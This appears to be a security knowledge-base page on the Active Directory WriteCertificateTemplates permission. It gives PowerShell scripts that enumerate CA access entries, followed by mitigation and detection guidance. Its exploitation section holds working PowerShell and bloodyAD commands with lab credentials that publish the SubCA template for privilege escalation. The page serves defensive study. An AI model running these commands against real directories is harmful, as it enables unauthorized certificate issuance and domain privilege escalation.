WriteCertificateTemplates

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Summary


Forestall ACL Alias	WriteCertificateTemplates
AD Alias	Write
Affected Object Types	Certification Authorities
Exploitation Certainty	Certain
AD Right	WriteProperty
AD Permission Guid	2a39c5b1-8960-11d1-aebc-0000f80367c1

Description

The WriteCertificateTemplates permission in Active Directory grants a user or group the ability to modify the certificateTemplates attribute on a Certification Authority (CA) object. This permission effectively allows the holder to add, remove, or alter references to certificate templates associated with the CA. By doing so, the user can publish new or previously unpublished certificate templates, potentially enabling the issuance of certificates based on templates that were not intended for deployment — which may lead to privilege escalation or unauthorized certificate enrollment if abused.

However, if misconfigured, the WriteCertificateTemplates permission can pose security risks. An attacker with this right can publish previously unpublished or unauthorized certificate templates, allowing the CA to issue certificates that enable privilege escalation or unauthorized access within the environment.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate WriteCertificateTemplates entries.

1. Find-WriteCertificateTemplates function

function Find-WriteCertificateTemplates {
    [CmdletBinding()]
    param (
        [string]$Target,  # CA object name (CN under Enrollment Services). If omitted, scan all CA objects.
        [string]$OutputPath = "WriteCertificateTemplates.csv")
    Import-Module ActiveDirectory -ErrorAction Stop
    Write-Host "Inspecting Enrollment Services objects for WriteProperty over the 'certificateTemplates' attribute..."
    # Constants
    $AccessControlType = [System.Security.AccessControl.AccessControlType]::Allow
    $RequiredRight     = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    # schemaIdGuid for 'certificateTemplates' attribute
    $CertTemplatesGuid = [Guid]::Parse("2a39c5b1-8960-11d1-aebc-0000f80367c1")
    # Resolve Configuration NC dynamically
    try {
        $configNC = (Get-ADRootDSE).ConfigurationNamingContext
    } catch {
        Write-Error "Failed to retrieve ConfigurationNamingContext. $($_.Exception.Message)"
        return
    }
    # Base DN for Enrollment Services
    $enrollBase = "CN=Enrollment Services,CN=Public Key Services,CN=Services,$configNC"
    # Build target set (all pKIEnrollmentService objects or one by name)
    try {
        if ($Target) {
            Write-Host "Filtering for CA object named: '$Target'"

            $params = @{
                SearchBase = $enrollBase
                LDAPFilter = "(&(objectClass=pKIEnrollmentService)(name=$Target))"
                Properties = 'nTSecurityDescriptor'
                ErrorAction = 'Stop'
            }
            $objectsToScan = Get-ADObject @params

            if (-not $objectsToScan) {
                Write-Warning "CA object '$Target' not found under: $enrollBase"
                return
            }
        }
        else {
            Write-Host "Retrieving all pKIEnrollmentService (CA) objects under Enrollment Services..."

            $params = @{
                SearchBase = $enrollBase
                LDAPFilter = "(objectClass=pKIEnrollmentService)"
                Properties = 'nTSecurityDescriptor'
                ErrorAction = 'Stop'
            }
            $objectsToScan = Get-ADObject @params
        }
    } catch {
        Write-Error "Failed to enumerate Enrollment Services objects. $($_.Exception.Message)"
        return
    }
    $results = @()
    foreach ($obj in $objectsToScan) {
        try {
            $acl = Get-Acl -Path "AD:$($obj.DistinguishedName)"
        } catch {
            Write-Warning "ACL retrieval failed for $($obj.DistinguishedName): $($_.Exception.Message)"
            continue
        }
        foreach ($ace in $acl.Access) {
            # Must be an allow ACE + includes WriteProperty + targets the certificateTemplates attribute GUID
            $hasWriteProperty = (($ace.ActiveDirectoryRights -band $RequiredRight) -ne 0)
            if (
                $ace.AccessControlType -eq $AccessControlType -and
                $hasWriteProperty -and
                ($ace.ObjectType -eq $CertTemplatesGuid)
            ) {
                # Skip inherited entries to focus on explicit grants
                if ($ace.IsInherited) { continue }
                # Exclusions
                $sid = $null
                try {
                    $sid = $ace.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier])
                } catch {
                    # ignore translation errors; we'll fall back to string principal
                }
                if ($ExcludeAdmins -and $sid -and $ExcludedSIDs -contains $sid) { continue }
                $results += [PSCustomObject]@{
                    CA_Name               = $obj.Name
                    DistinguishedName     = $obj.DistinguishedName
                    Principal             = $ace.IdentityReference.Value
                    ActiveDirectoryRights = $ace.ActiveDirectoryRights
                    ObjectTypeGuid        = $ace.ObjectType
                    ObjectTypeAttribute   = "certificateTemplates"
                    Inherited             = $ace.IsInherited
                    InheritanceType       = $ace.InheritanceType
                }
            }
        }
    }
    if ($results.Count -gt 0) {
        Write-Host "Found $($results.Count) ACE(s) granting WriteProperty over 'certificateTemplates'. Exporting to CSV..."
        try {
            $results |
                Sort-Object CA_Name, Principal -Unique |
                Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Host "Results saved to $OutputPath"
        } catch {
            Write-Error "Export failed: $($_.Exception.Message)"
        }
    } else {
        $suffix = if ($Target) { " on CA '$Target'" } else { "" }
        Write-Output "No explicit WriteProperty permissions over 'certificateTemplates' found$suffix."
    }
}

2. Scan all templates

Find-WriteCertificateTemplates

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WriteCertificateTemplates entries without relying on any external modules or dependencies.

1. Find-WriteCertificateTemplatesSimple function

function Find-WriteCertificateTemplatesSimple {
    [CmdletBinding()]
    param(
        [string]$Target,                           # CA object name (CN under Enrollment Services). If omitted, scans all CA objects.
        [string]$OutputPath = "WriteCertificateTemplates.csv"
    )
    Write-Host "Inspecting Enrollment Services objects for WriteProperty over the 'certificateTemplates' attribute (pure .NET)..."
    # Constants
    $AccessControlTypeAllow = [System.Security.AccessControl.AccessControlType]::Allow
    $RequiredRight          = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $CertTemplatesGuid      = [Guid]::Parse("2a39c5b1-8960-11d1-aebc-0000f80367c1")
    # Resolve Configuration NC via RootDSE (ADSI)
    try {
        $rootDse  = [ADSI]"LDAP://RootDSE"
        $configNC = $rootDse.configurationNamingContext
    } catch {
        Write-Error "Failed to retrieve ConfigurationNamingContext. $($_.Exception.Message)"
        return
    }
    # Base DN for Enrollment Services
    $enrollBaseDN = "CN=Enrollment Services,CN=Public Key Services,CN=Services,$configNC"
    # Bind to container
    try {
        $container = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$enrollBaseDN")
    } catch {
        Write-Error "Failed to bind to Enrollment Services container. $($_.Exception.Message)"
        return
    }
    # Build searcher for CA objects
    $caSearcher = New-Object System.DirectoryServices.DirectorySearcher($container)
    $caSearcher.SearchScope = [System.DirectoryServices.SearchScope]::OneLevel
    $caSearcher.PropertiesToLoad.Clear()
    [void]$caSearcher.PropertiesToLoad.Add("distinguishedName")
    [void]$caSearcher.PropertiesToLoad.Add("name")
    if ([string]::IsNullOrEmpty($Target)) {
        Write-Host "Retrieving all pKIEnrollmentService (CA) objects under Enrollment Services..."
        $caSearcher.Filter = "(objectClass=pKIEnrollmentService)"
    } else {
        Write-Host "Filtering for CA object named: '$Target'"
        $caSearcher.Filter = "(&(objectClass=pKIEnrollmentService)(name=$Target))"
    }
    # Find the CA objects
    try {
        $caResults = $caSearcher.FindAll()
        if (-not $caResults -or $caResults.Count -eq 0) {
            if ([string]::IsNullOrEmpty($Target)) {
                Write-Output "No pKIEnrollmentService objects found under: $enrollBaseDN"
            } else {
                Write-Warning "CA object '$Target' not found under: $enrollBaseDN"
            }
            return
        }
    } catch {
        Write-Error "Failed to enumerate Enrollment Services objects. $($_.Exception.Message)"
        return
    }
    $out = New-Object System.Collections.Generic.List[object]
    foreach ($res in $caResults) {
        $dnProp   = $res.Properties["distinguishedname"]
        $nameProp = $res.Properties["name"]
        if (-not $dnProp -or $dnProp.Count -eq 0) { continue }
        $dn   = $dnProp[0]
        $name = if ($nameProp -and $nameProp.Count -gt 0) { $nameProp[0] } else { $null }
        try {
            # Retrieve ntSecurityDescriptor (DACL) for each CA object
            $objRoot  = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dn")
            $sdSearch = New-Object System.DirectoryServices.DirectorySearcher($objRoot)
            $sdSearch.SearchScope = [System.DirectoryServices.SearchScope]::Base
            $sdSearch.Filter = "(objectClass=*)"
            $sdSearch.PropertiesToLoad.Clear()
            [void]$sdSearch.PropertiesToLoad.Add("ntSecurityDescriptor")
            [void]$sdSearch.PropertiesToLoad.Add("distinguishedName")
            $sdSearch.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
            $sdResult = $sdSearch.FindOne()
            if (-not $sdResult) {
                Write-Warning "Could not read ntSecurityDescriptor for: $dn"
                continue
            }
            $sdBytes = $sdResult.Properties["ntsecuritydescriptor"]
            if (-not $sdBytes -or $sdBytes.Count -eq 0) {
                Write-Warning "ntSecurityDescriptor was empty for: $dn"
                continue
            }
            # Parse security descriptor
            $ads = New-Object System.DirectoryServices.ActiveDirectorySecurity
            $ads.SetSecurityDescriptorBinaryForm([byte[]]$sdBytes[0])
            # Enumerate ACEs; request SIDs (more reliable) and translate each to NTAccount
            $rules = $ads.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])
            foreach ($rule in $rules) {
                $hasWriteProperty = (($rule.ActiveDirectoryRights -band $RequiredRight) -ne 0)
                if ( ($rule.AccessControlType -eq $AccessControlTypeAllow) -and
                     $hasWriteProperty -and
                     ($rule.ObjectType -eq $CertTemplatesGuid) -and
                     (-not $rule.IsInherited) ) {
                    # Translate SID -> DOMAIN\Name (fallback to SID on failure)
                    $principalName = $null
                    try {
                        $principalName = $rule.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value
                    } catch {
                        # some SIDs (deleted, foreign, unresolvable) won't translate
                        $principalName = $rule.IdentityReference.Value
                    }
                    $out.Add([PSCustomObject]@{
                        CA_Name               = $name
                        DistinguishedName     = $dn
                        Principal             = $principalName
                        ActiveDirectoryRights = $rule.ActiveDirectoryRights
                        ObjectTypeGuid        = $rule.ObjectType
                        ObjectTypeAttribute   = "certificateTemplates"
                        Inherited             = $rule.IsInherited
                        InheritanceType       = $rule.InheritanceFlags
                    })
                }
            }
        } catch {
            Write-Warning "ACL retrieval failed for $dn : $($_.Exception.Message)"
            continue
        }
    }
    if ($out.Count -gt 0) {
        Write-Host "Found $($out.Count) ACE(s) granting WriteProperty over 'certificateTemplates'. Exporting to CSV..."
        try {
            $out |
                Sort-Object CA_Name, Principal -Unique |
                Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Host "Results saved to $OutputPath"
        } catch {
            Write-Error "Export failed: $($_.Exception.Message)"
        }
    } else {
        if ([string]::IsNullOrEmpty($Target)) {
            Write-Output "No explicit WriteProperty permissions over 'certificateTemplates' found."
        } else {
            Write-Output ("No explicit WriteProperty permissions over 'certificateTemplates' found on CA '{0}'." -f $Target)
        }
    }
}

2. Scan all templates

Find-WriteCertificateTemplatesSimple

Active Directory Service Interfaces

1. Open Active Directory Service Interfaces (adsi) on your Windows server.

2. Connect to the configuration

3. Select Services then Public Key Services then Enrollment Servcies then the desired CA

4. In the Properties window, navigate to the Security tab.

5. In the Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

6. In the permissions list, locate and check the option Write certificateTemplates.

7. Click OK to save your changes and close the dialogs.

Exploitation

This permission can be exploitable on Windows systems with certify and rubeus, while on Linux systems, tools such as certipy can be effectively used for exploitation.Certify, Rubeus, Certipy

The following examples demonstrate exploitation on Windows and Linux environments.

Windows

Publishing by default unpulished template SubCA

# Resolve Configuration NC and build the Enrollment Services base DN
$configNC      = ([ADSI]"LDAP://RootDSE").configurationNamingContext
$enrollBaseDN  = "CN=Enrollment Services,CN=Public Key Services,CN=Services,$configNC"
# === inputs you change ===
$CAName        = "<caName>"   # e.g. "Corp-RootCA"
$TemplateName  = "<templateName>"            # CN of the cert template (e.g. "User", "Machine", "WebServer", custom name)
# Bind to the CA object under Enrollment Services
$ca = [ADSI]("LDAP://CN=$CAName,$enrollBaseDN")
# Read current values (if any)
try { $current = @($ca.GetEx('certificateTemplates')) } catch { $current = @() }

# Skip if already present
if ($current -contains $TemplateName) {
    Write-Host "[*] '$TemplateName' already listed on $CAName."
} else {
    # ADS_PROPERTY_APPEND = 3
    $ca.PutEx(3, 'certificateTemplates', @($TemplateName))
    $ca.SetInfo()
    Write-Host "[+] Added '$TemplateName' to certificateTemplates on $CAName."
}

Example:

# Resolve Configuration NC and build the Enrollment Services base DN
$configNC      = ([ADSI]"LDAP://RootDSE").configurationNamingContext
$enrollBaseDN  = "CN=Enrollment Services,CN=Public Key Services,CN=Services,$configNC"

# === inputs you change ===
$CAName        = "Forestall-ROOT-CA"   # e.g. "Corp-RootCA"
$TemplateName  = "subCA"            # CN of the cert template (e.g. "User", "Machine", "WebServer", custom name)

# Bind to the CA object under Enrollment Services
$ca = [ADSI]("LDAP://CN=$CAName,$enrollBaseDN")

# Read current values (if any)
try { $current = @($ca.GetEx('certificateTemplates')) } catch { $current = @() }

# Skip if already present
if ($current -contains $TemplateName) {
    Write-Host "[*] '$TemplateName' already listed on $CAName."
} else {
    # ADS_PROPERTY_APPEND = 3
    $ca.PutEx(3, 'certificateTemplates', @($TemplateName))
    $ca.SetInfo()
    Write-Host "[+] Added '$TemplateName' to certificateTemplates on $CAName."
}

Linux

Get writeCertifiactes value

bloodyAD --host <dchost> -d <domain> -u <user> -p '<pass>' get object "<dn>" --attr certificateTemplates

Example:

bloodyAD --host dc.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get object "CN=Forestall-ROOT-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs" --attr certificateTemplates

Publishing by default unpulished template SubCA

bloodyAD --host <dchost> -d <domain> -u <user> -p '<pass>' set object "dn"  -v 'HRUsers'  -v 'RASAndIASServer' -v 'SmartcardLogon' -v 'SubCA'

Example:

bloodyAD --host dc.forestall.labs -d forestall.labs -u adam -p 'Temp123!' set object "CN=Forestall-ROOT-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs" certificateTemplates  -v 'HRUsers'  -v 'RASAndIASServer' -v 'SmartcardLogon' -v 'SubCA'

Mitigation

1. Open Active Directory Service Interfaces (adsi) on your Windows server.

2. Connect to the configuration

3. Select Services then Public Key Services then Enrollment Servcies then the desired CA

4. In the Properties window, navigate to the Security tab.

5. In the Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

6. In the permissions list, locate and remove the Write certificateTemplates permission from unauthorized users.

7. Click OK to save your changes and close the dialogs.

8. Click OK to save your changes and close the dialogs.

Detection

Adding new Access Control Entries on the Active Directory objects changes the ntSecurityDescriptor attribute of the objects themselves. These changes can be detected with the 5136 and 4662 Event IDs to identify unauthorized modifications.

Event ID	Description	Fields/Attributes	References
5136	A directory service object was modified.	ntSecurityDescriptor	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136\|
4662	An operation was performed on an object.	AccessList, AccessMask	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662\|
4886	Certificate Services received a certificate request.	CertificateTemplate, Requester	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)\|
4887	Certificate Services approved a certificate request and issued a certificate.	CertificateTemplate, Requester	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)\|

References

Manage AD certificates in devices | CyberArk Docs

Configure Certificate Auto-Enrollment for Network Policy Server | Microsoft Learn

Access controls | The Hacker Recipes